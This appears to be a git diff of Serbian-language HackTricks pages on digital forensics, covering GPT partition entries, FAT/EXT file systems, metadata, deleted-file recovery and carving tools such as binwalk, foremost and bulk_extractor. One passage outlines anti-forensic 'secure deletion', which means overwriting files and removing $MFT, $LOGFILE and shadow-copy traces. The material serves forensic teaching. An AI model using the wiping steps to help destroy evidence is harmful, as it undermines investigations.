| 92 (0x5C)| \* | Rezervisano; moraju biti nule za ostatak bloka (420 bajtova za veličinu sektora od 512 bajtova; ali može biti više sa većim veličinama sektora) | | 92 (0x5C) | \* | Rezervisano; mora biti nule za ostatak bloka (420 bajtova za veličinu sektora od 512 bajta; ali može biti više sa većim veličinama sektora) |
**Unosi particija (LBA 233)** **Unosi particija (LBA 233)**
| Format unosa particije GUID | | | | Format unosa GUID particije | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | | --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Ofset | Dužina | Sadržaj | | Offset | Dužina | Sadržaj |
| 0 (0x00) | 16 bajtova| [GUID particije tipa](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešoviti poretk)| | 0 (0x00) | 16 bajtova | [GUID tipa particije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešovit endian) |
| 16 (0x10) | 16 bajtova| Jedinstveni GUID particije (mešoviti poretk) | | 16 (0x10) | 16 bajtova | Jedinstveni GUID particije (mešovit endian) |
| 32 (0x20) | 8 bajtova | Prvi LBA ([malo-indijski](https://en.wikipedia.org/wiki/Little\_endian)) | | 32 (0x20) | 8 bajtova | Prvi LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bajtova | Poslednji LBA (inkluzivno, obično neparan) | | 40 (0x28) | 8 bajtova | Poslednji LBA (uključivo, obično neparan) |
| 48 (0x30) | 8 bajtova | Zastavice atributa (npr. bit 60 označava samo za čitanje) | | 48 (0x30) | 8 bajtova | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
| 56 (0x38) | 72 bajta | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE jedinica koda) | | 56 (0x38) | 72 bajtova | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kodnih jedinica) |
**Tipovi particija** **Tipovi particija**
@ -141,16 +142,17 @@ Zaglavlje particione tabele definiše upotrebljive blokove na disku. Takođe def
Više tipova particija na [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) Više tipova particija na [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### Inspekcija ### Istraživanje
Nakon montiranja forenzičke slike pomoću [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete pregledati prvi sektor koristeći Windows alatku [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici detektovan je **MBR** na **sektoru 0** i interpretiran: Nakon montiranja forenzičke slike sa [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete ispitati prvi sektor koristeći Windows alat [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici je otkriven **MBR** na **sektoru 0** i interpretiran:
![](<../../../.gitbook/assets/image (354).png>) ![](<../../../.gitbook/assets/image (354).png>)
Ako je to bio **GPT sto umesto MBR-a**, trebalo bi da se pojavi potpis _EFI PART_ u **sektoru 1** (koji je prazan na prethodnoj slici). Ako je to bila **GPT tabela umesto MBR-a**, trebala bi se pojaviti oznaka _EFI PART_ u **sektoru 1** (koji je na prethodnoj slici prazan).
## Fajl-sistemi
### Lista Windows fajl-sistema ## Sistemi datoteka
### Lista Windows sistema datoteka
* **FAT12/16**: MSDOS, WIN95/98/NT/200 * **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 * **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@ -160,79 +162,79 @@ Ako je to bio **GPT sto umesto MBR-a**, trebalo bi da se pojavi potpis _EFI PART
### FAT ### FAT
**FAT (File Allocation Table)** fajl-sistem je dizajniran oko svoje osnovne komponente, tabele alokacije fajlova, koja se nalazi na početku zapremine. Ovaj sistem štiti podatke održavanjem **dve kopije** tabele, obezbeđujući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnom mestu**, ključnom za proces pokretanja sistema. **FAT (Tabela alokacije datoteka)** sistem datoteka je dizajniran oko svoje osnovne komponente, tabele alokacije datoteka, koja se nalazi na početku volumena. Ovaj sistem štiti podatke održavanjem **dvije kopije** tabele, osiguravajući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnoj lokaciji**, što je ključno za proces pokretanja sistema.
Osnovna jedinica skladištenja fajl-sistema je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije: Osnovna jedinica skladištenja sistema datoteka je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije:
* **FAT12**, podržava 12-bitne adrese klastera i može rukovati do 4078 klastera (4084 sa UNIX-om). * **FAT12**, podržava 12-bitne adrese klastera i obrađuje do 4078 klastera (4084 sa UNIX-om).
* **FAT16**, unapređenje na 16-bitne adrese, omogućavajući do 65.517 klastera. * **FAT16**, unapređuje na 16-bitne adrese, čime se omogućava do 65,517 klastera.
* **FAT32**, dalje napredovanje sa 32-bitnim adresama, dozvoljavajući impresivnih 268.435.456 klastera po zapremini. * **FAT32**, dodatno napreduje sa 32-bitnim adresama, omogućavajući impresivnih 268,435,456 klastera po volumenu.
Značajno ograničenje kroz verzije FAT-a je **maksimalna veličina fajla od 4GB**, nametnuta 32-bitnim poljem korišćenim za skladištenje veličine fajla. Značajno ograničenje kod FAT verzija je **maksimalna veličina datoteke od 4GB**, koju nameće 32-bitno polje korišćeno za skladištenje veličine datoteke.
Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju: Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju:
* **Ime fajla/foldera** (do 8 karaktera) * **Ime datoteke/foldera** (do 8 karaktera)
* **Atributi** * **Atributi**
* **Datumi kreiranja, modifikacije i poslednjeg pristupa** * **Datumi kreiranja, modifikacije i poslednjeg pristupa**
* **Adresa FAT tabele** (ukazuje na početni klaster fajla) * **Adresa FAT tabele** (koja označava početni klaster datoteke)
* **Veličina fajla** * **Veličina datoteke**
### EXT ### EXT
**Ext2** je najčešći fajl-sistem za **particije bez dnevnika** (**particije koje se ne menjaju mnogo**), poput boot particije. **Ext3/4** su **sa dnevnikom** i obično se koriste za **ostale particije**. **Ext2** je najčešći sistem datoteka za **ne-journal** particije (**particije koje se ne menjaju mnogo**) kao što je particija za pokretanje. **Ext3/4** su **journal** i obično se koriste za **ostale particije**.
## **Metapodaci** ## **Metapodaci**
Neki fajlovi sadrže metapodatke. Ove informacije se odnose na sadržaj fajla koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa fajla, može sadržati informacije poput: Neke datoteke sadrže metapodatke. Ove informacije se odnose na sadržaj datoteke koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa datoteke, može sadržati informacije kao što su:
* Naslov * Naslov
* Korišćena verzija MS Office-a * Verzija MS Office-a koja se koristi
* Autor * Autor
* Datumi kreiranja i poslednje modifikacije * Datumi kreiranja i poslednje modifikacije
* Model kamere * Model kamere
* GPS koordinate * GPS koordinate
* Informacije o slici * Informacije o slici
Možete koristiti alate poput [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da biste dobili metapodatke fajla. Možete koristiti alate kao što su [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da dobijete metapodatke datoteke.
## **Obnova obrisanih fajlova** ## **Oporavak obrisanih datoteka**
### Evidentirani obrisani fajlovi ### Zabeležene obrisane datoteke
Kao što je već viđeno, postoji nekoliko mesta gde je fajl i dalje sačuvan nakon što je "obrisan". To je zato što brisanje fajla iz fajl-sistema obično označava kao obrisano, ali podaci nisu dirani. Zatim je moguće pregledati registre fajlova (poput MFT-a) i pronaći obrisane fajlove. Kao što je ranije viđeno, postoji nekoliko mesta gde je datoteka još uvek sačuvana nakon što je "obrisana". To je zato što obično brisanje datoteke iz sistema datoteka samo označava da je obrisana, ali podaci nisu dodirnuti. Tada je moguće ispitati registre datoteka (kao što je MFT) i pronaći obrisane datoteke.
Takođe, OS obično čuva mnogo informacija o promenama fajl-sistema i rezervnim kopijama, pa je moguće pokušati ih koristiti za obnovu fajla ili što više informacija. Takođe, OS obično čuva mnogo informacija o promenama u sistemu datoteka i rezervnim kopijama, tako da je moguće pokušati koristiti ih za oporavak datoteke ili što više informacija.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### **Izvlačenje fajlova** ### **File Carving**
**Izvlačenje fajlova** je tehnika koja pokušava **pronaći fajlove u masi podataka**. Postoje 3 glavna načina rada alata poput ovog: **Na osnovu zaglavlja i podnožja tipova fajlova**, na osnovu **strukture tipova fajlova** i na osnovu **sadržaja** samog fajla. **File carving** je tehnika koja pokušava da **pronađe datoteke u masi podataka**. Postoje 3 glavna načina na koje alati poput ovog funkcionišu: **Na osnovu zaglavlja i podnožja tipova datoteka**, na osnovu struktura tipova datoteka i na osnovu **sadržaja** samog.
Imajte na umu da ova tehnika **ne funkcioniše za povrat fragmentiranih fajlova**. Ako fajl **nije smešten u kontinualnim sektorima**, tada ova tehnika neće moći da ga pronađe ili bar deo njega. Napomena da ova tehnika **ne funkcioniše za vraćanje fragmentisanih datoteka**. Ako datoteka **nije smeštena u kontiguitetne sektore**, tada ova tehnika neće moći da je pronađe ili barem deo nje.
Postoje različiti alati koje možete koristiti za izvlačenje fajlova, navodeći tipove fajlova koje želite pretražiti Postoji nekoliko alata koje možete koristiti za file carving koji označavaju tipove datoteka koje želite da pretražujete.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Izvlačenje podataka iz **struja** ### Data Stream **C**arving
Izvlačenje podataka iz struja je slično izvlačenju fajlova, ali **umesto traženja kompletnih fajlova, traži zanimljive fragmente** informacija.\ Data Stream Carving je sličan File Carving-u, ali **umesto da traži kompletne datoteke, traži zanimljive fragmente** informacija.\
Na primer, umesto traženja kompletnog fajla koji sadrži evidentirane URL-ove, ovom tehnikom će se tražiti URL-ovi. Na primer, umesto da traži kompletnu datoteku koja sadrži zabeležene URL-ove, ova tehnika će tražiti URL-ove.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Bezbedno brisanje ### Sigurno brisanje
Očigledno, postoje načini za **"sigurno" brisanje fajlova i dela logova o njima**. Na primer, moguće je **prepisati sadržaj** fajla sa beskorisnim podacima nekoliko puta, a zatim **ukloniti** logove iz **$MFT** i **$LOGFILE** o fajlu, i **ukloniti kopije senki zapremine**.\ Očigledno, postoje načini da se **"sigurno" obrišu datoteke i deo logova o njima**. Na primer, moguće je **prepisati sadržaj** datoteke sa smešnim podacima nekoliko puta, a zatim **ukloniti** **logove** iz **$MFT** i **$LOGFILE** o datoteci, i **ukloniti kopije senki volumena**.\
Možda ćete primetiti da čak i nakon izvršavanja te radnje može postojati **drugi delovi gde je postojanje fajla i dalje evidentirano**, što je tačno i deo posla forenzičara je da ih pronađe. Možda ćete primetiti da čak i nakon izvođenja te akcije može postojati **drugi delovi gde je postojanje datoteke još uvek zabeleženo**, i to je tačno, a deo posla forenzičkog stručnjaka je da ih pronađe.
## Reference ## Reference
@ -240,4 +242,19 @@ Možda ćete primetiti da čak i nakon izvršavanja te radnje može postojati **
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs Sertifikovani Digitalni Forenzik Windows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Alatke za izdvajanje podataka i obnavljanje podataka # File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,17 +23,17 @@ Drugi načini podrške HackTricks-u:
*** ***
## Alatke za izdvajanje podataka i obnavljanje podataka ## Carving & Recovery tools
Više alatki na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) Više alata na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy ### Autopsy
Najčešće korišćeni alat u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove. Najčešći alat korišćen u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da učita fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** je alat za analizu binarnih fajlova kako bi pronašao ugrađeni sadržaj. Može se instalirati putem `apt` i njegov izvorni kod se nalazi na [GitHub-u](https://github.com/ReFirmLabs/binwalk). **Binwalk** je alat za analizu binarnih fajlova kako bi se pronašao ugrađeni sadržaj. Može se instalirati putem `apt`, a njegov izvor je na [GitHub](https://github.com/ReFirmLabs/binwalk).
**Korisne komande**: **Korisne komande**:
```bash ```bash
@ -43,64 +44,66 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare ispred njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka. Još jedan uobičajen alat za pronalaženje skrivenih fajlova je **foremost**. Možete pronaći konfiguracioni fajl foremost u `/etc/foremost.conf`. Ako želite da pretražujete samo neke specifične fajlove, otkomentarišite ih. Ako ne otkomentarišete ništa, foremost će pretraživati svoje podrazumevane konfiguracione tipove fajlova.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output" #Discovered files will appear inside the folder "output"
``` ```
### **Skalpel** ### **Scalpel**
**Skalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, trebaće vam da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite. **Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da odkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da ekstraktujete.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
### Bulk Extractor ### Bulk Extractor
Ovaj alat dolazi unutar kali distribucije, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Ovaj alat dolazi unutar kali, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **mrežne informacije (URL-ove, domene, IP adrese, MAC adrese, mejlove)** i više **datoteka**. Samo treba da uradite: Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne informacije (URL-ovi, domeni, IP adrese, MAC adrese, e-mailovi)** i još **datoteka**. Samo treba da uradite:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
Navigirajte kroz **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**analizu Pcaps**](../pcap-inspection/)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
### PhotoRec ### PhotoRec
Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite da PhotoRec pretražuje. Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove fajlova** koje želite da PhotoRec pretražuje.
![](<../../../.gitbook/assets/image (242).png>) ![](<../../../.gitbook/assets/image (242).png>)
### binvis ### binvis
Proverite [kôd](https://code.google.com/archive/p/binvis/) i [veb stranicu alata](https://binvis.io/#/). Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/).
#### Karakteristike BinVis-a #### Karakteristike BinVis
* Vizuelni i aktivan **pregled strukture** * Vizuelni i aktivni **pregled strukture**
* Više grafikona za različite fokusne tačke * Više grafova za različite tačke fokusa
* Fokusiranje na delove uzorka * Fokusiranje na delove uzorka
* **Videti niske i resurse**, u PE ili ELF izvršnim datotekama npr. * **Prikazivanje stringova i resursa**, u PE ili ELF izvršnim fajlovima npr.
* Dobijanje **obrazaca** za kriptoanalizu datoteka * Dobijanje **šablona** za kriptoanalizu na fajlovima
* **Otkrivanje** algoritama pakovanja ili enkodiranja * **Prepoznavanje** pakera ili enkodera
* **Identifikacija** steganografije po obrascima * **Identifikacija** steganografije po šablonima
* **Vizuelno** binarno diferenciranje * **Vizuelno** binarno poređenje
BinVis je odlično **polazište za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije. BinVis je odlična **polazna tačka za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.
## Specifični alati za izvlačenje podataka ## Specifični alati za carving podataka
### FindAES ### FindAES
Pretražuje AES ključeve tražeći njihove rasporede ključeva. Može pronaći ključeve od 128, 192 i 256 bita, poput onih koje koriste TrueCrypt i BitLocker. Pretražuje AES ključeve tražeći njihove rasporede ključeva. Sposoban je da pronađe 128, 192 i 256 bitne ključeve, kao što su oni koje koriste TrueCrypt i BitLocker.
Preuzmite [ovde](https://sourceforge.net/projects/findaes/). Preuzmite [ovde](https://sourceforge.net/projects/findaes/).
## Komplementarni alati ## Dodatni alati
Možete koristiti [**viu** ](https://github.com/atanunq/viu) da vidite slike iz terminala.\ Možete koristiti [**viu**](https://github.com/atanunq/viu) da vidite slike iz terminala.\
Možete koristiti linux alat komandne linije **pdftotext** da transformišete pdf u tekst i pročitate ga. Možete koristiti linux komandnu liniju **pdftotext** da transformišete pdf u tekst i pročitate ga.
**Try Hard Security Group** **Try Hard Security Group**
@ -108,16 +111,17 @@ Možete koristiti linux alat komandne linije **pdftotext** da transformišete pd
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# Pregled Pcap datoteka # Pcap Inspekcija
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti **kibernetičke bezbednosti u Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini. [**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %} {% hint style="info" %}
Napomena o **PCAP** vs **PCAPNG**: postoje dve verzije PCAP formata datoteka; **PCAPNG je noviji i nije podržan od svih alata**. Možda ćete morati da konvertujete datoteku iz PCAPNG u PCAP koristeći Wireshark ili neki drugi kompatibilni alat, kako biste mogli da radite sa njom u nekim drugim alatima. Napomena o **PCAP** vs **PCAPNG**: postoje dve verzije PCAP formata datoteka; **PCAPNG je noviji i nije podržan od svih alata**. Možda ćete morati da konvertujete datoteku iz PCAPNG u PCAP koristeći Wireshark ili neki drugi kompatibilni alat, kako biste mogli da radite s njom u nekim drugim alatima.
{% endhint %} {% endhint %}
